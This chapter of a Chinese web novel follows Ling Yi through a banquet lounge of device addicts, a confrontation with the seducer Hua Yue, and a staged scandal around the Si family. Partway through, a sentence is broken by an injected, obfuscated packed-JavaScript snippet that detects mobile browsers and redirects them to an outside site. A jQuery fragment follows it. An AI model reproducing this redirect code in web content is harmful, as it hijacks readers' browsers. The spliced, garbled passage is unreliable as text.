21. 第 21 章

作品:《横刀[星际]

    声音异能-模仿+魅惑方向。


    魅惑其实就是“快速进行性唤起”——但这样说太直白了,因此联盟官方还是以魅惑代称。


    这种异能的就业方向是配音演员,翻唱歌手,以及私人订制的灰色产业。


    花月显然是被“定制”过的,凌一跟在他身后走向回廊最深处,在光脑上给风行止汇报了一下自己的行动轨迹。


    风行止:?


    风行止:你在干什么?


    凌一:好奇。


    花月回头,他警惕地问:“你在和别人联系吗?”


    凌一:“我的助理,她得知道我的行踪。”


    花月的眉毛竖起来,又很快摁下去:


    “我没有恶意。”


    凌一不置可否。


    回廊吸收了两人的脚步声,凌一在电视剧上看到过,所谓宴会的休息室,其实最重要的作用是给客人们做一些隐秘的不体面之事。


    花月选择的休息室是最大的之一。


    门被打开,又被花月快速关上,凌一任由自己被他扯进来,迎面先是一股闷浊的臭气,凌一眯下眼适应昏暗的光线,才看清房间里的景象。


    十一个人,全部都翻着白眼浑身抽搐。他们身上漂亮的衣服已经肮脏,上面还有血迹,这些人的手腕皮肤上多有伤痕,从伤口痕迹来看,全都是自伤导致。


    而致使他们爽到不省人事的东西,正是他们或依或靠的接入装置,装置的一头连接着靠墙的本机,另一头接入这些人的第七颈椎下方。


    一地狼藉,凌一从外间已经习惯、闻不到的浓郁香气莫名再次清晰起来,这一回,还多了说不清的臭和腥在其中。


    “极乐鸟,”花月的声音又变成了冯斯澜的,“不想试试吗?”


    他递过来一个方正的盒子,打开,里面是细长的直针。


    凌一没接,她问道:“这会让他们的感官退化吗?”


    花月竟然懂了她为什么这么问,他笑笑:“得用到一定程度才行,”他懒懒靠在墙上,眉眼间浮现起一种消耗过度的糜烂,这让他更好看了些,“极乐鸟很贵,一般人根本用不起。而能用得起的人……他们其实有完善的医疗团队,但感官过度刺激后是无法复原的,他们的味觉、嗅觉、触觉会慢慢失效,必须有强烈的刺激才能获得正常的感受。”


    所以外面提供的食物和饮品才会有那么怪异的味道。


    花月又离她近了点,依然用冯斯澜的声音,亲昵地问:


    “在想什么?”


    “z83流行的是UV片,一般人买不起,那东西只有在缴纳血肉税的地方有卖。缴税、然后买一片,身体就不会太痛苦了。UV片吃完也会像这样倒在地上,但没有这么夸张。”


    “z83……”花月低声道,“啊,对了,你来自洛林。”他的目光复杂起来,带着挣扎、恨意和讥嘲,“你和我是一样的人,你明白我们这样的人过的是什么生活。”


    凌一摇头:“我只是知道,我并不明白。”


    她以前并不觉得UV片有什么问题。


    血肉税不仅会带来精神和身体的虚弱,本身提取的过程也很难受,在血肉税最开始出现的时候,一个不恰当的比方是,每次缴纳带来的损伤和痛苦相当于一次分娩。缴纳完的人无法自主站立,必须卧床休养三天。


    技术在进步,缴纳的过程越来越快,越来越简单,痛苦也降到了最低,UV片能让最后那点痛苦都化为乌有,是平民里很受欢迎的营养品。


    凌一最近才开始慢慢思考这些事代表着什么。


    她为此兴奋,历史课似乎给她推开了新世界的大门;她又有点恐惧,本能的,她知道门里并非是美好的风景。


    可是门一旦打开就不会再关上,凌一别无选择,她迈步走了进去。


    “你和我想象中倒是不太一样,”花月站直身子,“我还以为你会更愚蠢、更令人讨厌呢。”


    他用冯斯澜的声音撒娇,轻笑,早就藏在手心的贴片快速摁向凌一的额头。


    凌一以右手直接钳住他的手腕,稍微用力,花月的脸就扭曲了:


    “放开我!”


    凌一不语,以绝对力量的优势从背后将他重重摁在墙上。


    手臂快折断了,鼻子更是磕得剧痛,花月眼泪长流:


    “你知不知道、我是谁的人!”


    凌一:“我正要问,你为什么要对付我?”


    “放开我!”花月猛烈挣扎起来,“司南不会放过你的!”


    司南?


    司南的情人跑来给她找麻烦,为了冯斯澜?


    还没等凌一理清这有点不太对劲的关系,休息室的门被人礼貌扣响。


    凌一没动,外面的人就直接自己打开了门。


    来者和凌一差不多高,戴着银边眼镜外型的光脑,穿着黑色仿古套装,她黑发绿眼,肤色苍白,五官精致,气质清冷,光是站在这里,就像一阵清凉的风,将室内污浊的空气吹散。


    正是据说不会放过凌一的司南。


    凌一没动,花月已经惊喜地喊起来:


    “司南、救我,她——”


    司南平静地看了他一眼,花月闭嘴了。


    司南身后传来略急促的脚步声,凌一正对门口,清楚看见来者正是冯斯澜。


    她松开手,花月嘤咛一声委顿在地,捧着手腕默默流泪。


    站着的三人没有一个欣赏他表演的,司南在冯斯澜靠近时退了一步,凌一则还没搞清眼前的状况。冯斯澜倒成了目标最明确的一个,他冲凌一不耐烦地招手:


    “过来。”


    凌一……听话了。


    就在她要走出门的时候,司南开口了:


    “凌小姐,很抱歉发生了这样的事,一点小心意会在明日送到冯家,希望你能接受我的道歉。”


    还没等凌一想好怎么回复,冯斯澜已经抢过来插到她们中间,他用了他的能力,凌一第一次从外界观察被扭曲的空间,发现还挺好看的。


    这屏障的效果很好,站得这么近,凌一完全没有听到他们的对话。


    十五秒,冯斯澜解除了自己的能力,他对司南点点头,转身示意凌一跟上。


    凌一故意慢了一步,听见身后花月低微的哭声:“……我只是想你……”


    冯斯澜找到一间空置的休息室,看着凌一进去,开口:


    “自卫这种基础意识还需要我教你吗?”


    这话凌一开始没有听懂,等反应过来,简直难以置信:“你在责怪我没有把你情人的情人打到残废吗?”


    不是危言耸听,凌一对平民的承受能力还摸不准,如果她出手,花月最好的结果是重伤。


    冯斯澜很平静:“你是我的未婚妻,是法洛斯的学生。这意味会有很多人想要伤害你,也意味着,你可以在察觉危险后立刻采取行动。我不会每一次都及时赶到,不要把你的安全寄托在我的身上。”


    只要不闹出人命……如果是花月这样的人,就算闹出人命,也没有关系。


    冯斯澜看着凌一睁大的眼睛,补充了一句:“但如果是你犯错,我会保证你受到应有的惩罚,我说到做到。”


    凌一数不清这是第多少次生出想要揍他的冲动,她攥住拳头,每个字都带着怒气:


    “我没有指望你,刚才我控制住花月了,我知道自己在做什么。还有,我对你们这种人肆无忌惮的特权不感兴趣。”


    冯斯澜注视她良久,最后轻轻笑了一下,转身走了。


    凌一想追出去,结果正好风行止打来通讯,她慢了一步,推开门时冯斯澜已经不见踪影。


    **!


    凌一气冲冲地接通,准备好和风行止据理力争,结果风行止没有教训她,而是在确定凌一安全、也没有让其他人受伤后就放了心,只叮嘱了一句:


    “有什么事第一时间告诉我。”


    冯斯澜说那番话以前,凌一会以为这是在让自己谨慎行事;现在她知道了,这句话的意思其实是:


    杀人放火及时说,收尾和公关才好及时跟上。


    ……


    宴会流程是实时同步在客人们光脑上的,司家将要现身之前,凌一就收到消息,快步走回大厅。冯斯澜站在靠前的侧面位置,凌一绕过好几个已经有醉相的客人,准时到达冯斯澜不远处。


    先出来的是司南和司夫人。


    司夫人初霁是上一代的联盟第一美人,她一点也看不出来上了年纪,和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170855|195669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲生女儿司南站在一起,硬是把司南衬得相貌平平。


    司南长得像司瞬明多一些,母亲的美貌她也就继承了不到两成。


    初霁从脸蛋到身材都无可挑剔,瞧不出一点病容。


    和司南一身黑的低调精致不同,初霁的裙摆上有星河在闪动,凌一看得目眩神迷,完全明白了当年的大预言家为什么会对她一见钟情、非卿不娶。


    大美人震场亮相后,司瞬明才慢慢走出来。


    凌一好悬忍住了惊呼。


    司家人的脸全联盟都不陌生,凌一很确定,眼前的人的确是司瞬明,可他全然不复新闻里温文尔雅、风度翩翩的模样,而是两颊凹陷,脚步无力,一副和司南相似的光脑挡住了他的眼睛,让人看不清他的眼睛。


    凌一看看容光焕发的初霁,又看看拥有教科书般病容的司瞬明,怀疑自己在做梦:


    据说病重的是司夫人吧,怎么看上去快死了的是司瞬明?


    司瞬明身后还跟着一个女孩,她的头发分成六股编起来放在右肩,穿了一件低调的白裙,脸上的妆容很厚重,而且过于艳俗,明显不适合她平淡的五官。


    池语风,勾引自己养父的坏种,道德败坏到在星网上比凌一风评还差劲的超级烂人。


    如果说初霁把司南比成了路人,那她就把池语风比成了完全的丑人。


    司家这点事全联盟就没有不知道的,司家也根本没有要遮掩的意思,四个人站在一起,池语风和初霁相邻,中间隔了一段尴尬的距离。


    初霁带着忍耐和痛苦看了池语风一眼,而她曾经百般宠爱的养女,只回了她一个冷淡的眼神。


    初霁说了些感谢大家前来、她时隔这么久很想念大家的场面话。在场虽然都是为了司瞬明而来,但也愿意捧美人的场,有位贵妇人还激动地哭了,一边哭一边口齿清晰地回忆了她和初霁的少女情谊。


    旁边不知何时到位的记者拍下了这感人的一幕。


    场面热闹起来,司瞬明这时候才端起酒杯,他环视一周,专门对冯斯澜微微点头,而后开口:


    “许久未见各位朋友,今日——”


    他停得毫无征兆,甚至还向前迈了一大步,所有人在短暂的慌乱后都意识到什么,顺着他的视线看过去。


    司瞬明死死地盯着凌一。


    当一个人将生命浸透于一件事,他的本能会领先理智,在平静的湖面上辨别出还未显露踪迹的漩涡。


    很多退役的老兵,对暗中的危险会有身体的肌肉反应;与乐器度过一生的音乐家,在扭头之后才会反应过来,自己原来是捕捉到了一瞬间的音差。


    司瞬明从出生开始,就只为预言一件事而生;他的异能是他最熟稔最强大的武器,这把武器在有些时候会先于他的认知与思维锁定重要的目标。


    联盟最强的预言家,对着凌一失态了。


    这意味着什么?


    冯斯澜感到大事不妙,他抬手就要炸掉无人墙角处的天花板。


    司南比他快了一瞬。


    “妈妈!”


    她尖叫,将全场包括司瞬明的视线吸引到初霁身上。


    在这一秒钟,发生了很多事情。


    第一件事,初霁的裙子不知道怎么散开了,大部分布料散落在地,少部分留在紧要部分,衬得她完美的身材和洁白的肌肤无比耀眼,她双手捂住胸口,眼神楚楚可怜又不可置信地望向池语风,颊边一滴圆润剔透的泪水,代替话语道尽了她的屈辱。


    第二件事,池语风勾起唇角笑了一下。


    第三件事,司瞬明从巨大的冲击中找回身体控制权,并且做出了本能的选择:他将池语风护在身后。


    第四件事,司南在尖叫后便向后退了一步,脸正好藏进黑暗的阴影中。


    第五件事,冯斯澜屏蔽了凌一周围所有人的感知,冲上前将她拉走。


    第六件事只有凌一发现了,刚才在所有人都和司瞬明一起看她的时候,凌一还在欣赏初霁的美艳,所以只有她看到了,初霁一边捂住裙子,一边以细微的动作调整脸和身体的位置。


    在被冯斯澜直接带出大厅后,凌一才想明白初霁是在干什么。


    她在为自己找一个最好的拍摄角度。